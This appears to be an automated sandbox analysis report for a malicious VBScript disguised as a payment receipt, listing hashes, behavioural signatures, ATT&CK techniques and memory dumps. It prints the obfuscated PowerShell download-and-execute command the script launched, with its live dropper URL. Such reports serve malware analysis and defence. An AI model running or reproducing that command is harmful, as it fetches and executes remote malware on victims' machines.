fb8c086de0ae136dd3cff31c3be2283d0de57d1eac3383616c02ba50aa02978e

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-en-20211104
submitted
28-11-2021 07:43

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General

Target

8vm39x_Payment_Receipt.vbs
Size

513B
MD5

45586ab9fada3f0335af9c963a4cc5d5
SHA1

5a342ed6755dc395215956143a54bcc4e42b97e7
SHA256

fb8c086de0ae136dd3cff31c3be2283d0de57d1eac3383616c02ba50aa02978e
SHA512

01ea352ada496a0d1426dd58f503771db1ea59f4b508157be3174174c99a74bb70288136a53b6051dc5dcd0e37c9525eec5f554e910b34cbcf3e63d42e26ff49

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://transfer.sh/get/8uvh1y/frt.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1476 powershell.exe
7 1476 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1476 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1476 powershell.exe

flow	pid	process
5	1476	powershell.exe
7	1476	powershell.exe

pid	process
1476	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1476	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1324 wrote to memory of 1476	1324	WScript.exe	powershell.exe
PID 1324 wrote to memory of 1476	1324	WScript.exe	powershell.exe
PID 1324 wrote to memory of 1476	1324	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8vm39x_Payment_Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`eX((nE`w-OBje`cT ('{3}{1}{0}{2}' -f'ebCl','et.W','ient','N')).('{1}{0}{4}{3}{2}' -f 'nl','Dow','g','rin','oadSt').Invoke('https://transfer.sh/get/8uvh1y/frt.txt'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1324-55-0x000007FEFB7E1000-0x000007FEFB7E3000-memory.dmp

Filesize
8KB

Download
memory/1476-56-0x0000000000000000-mapping.dmp

Download
memory/1476-58-0x000007FEF22B0000-0x000007FEF2E0D000-memory.dmp

Filesize
11.4MB

Download
memory/1476-59-0x0000000002630000-0x0000000002632000-memory.dmp

Filesize
8KB

Download
memory/1476-61-0x0000000002634000-0x0000000002637000-memory.dmp

Filesize
12KB

Download
memory/1476-60-0x0000000002632000-0x0000000002634000-memory.dmp

Filesize
8KB

Download
memory/1476-62-0x000000000263B000-0x000000000265A000-memory.dmp

Filesize
124KB

Download